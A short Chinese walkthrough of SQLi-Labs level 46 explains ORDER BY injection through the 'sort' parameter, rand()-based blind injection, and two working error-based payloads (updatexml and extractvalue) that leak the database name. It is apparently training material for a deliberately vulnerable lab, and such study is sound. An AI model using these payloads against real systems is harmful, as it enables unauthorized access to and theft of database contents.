sqllabs第46关 order by 注入（通过盲注）

news2024/9/29 17:29:03

打开第46关

提示我们(请将参数输入为sort（带数值）)

用sort注入排序

尝试操作

order by注入

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理，使用ORDER BY语句不仅支持对单列数据的排序，还支持对数据表中多列数据的排序。语法格式如下

select * from 表名 order by 列名(或者数字) asc；升序(默认升序) 

select * from 表名 order by 列名(或者数字) desc；降序

在使用sort注入时发现当sort=1/2/3是排序就变换所以我们可以用rand（）注入

基于rand()的盲注

当表达式true和false时，排序结果是不同的，所以就可以使用rand()函数进行盲注了。

报错注入：?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

通过暴库：?sort=(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))#

也可以使用基于if语句盲注（数字型）

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1473046.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！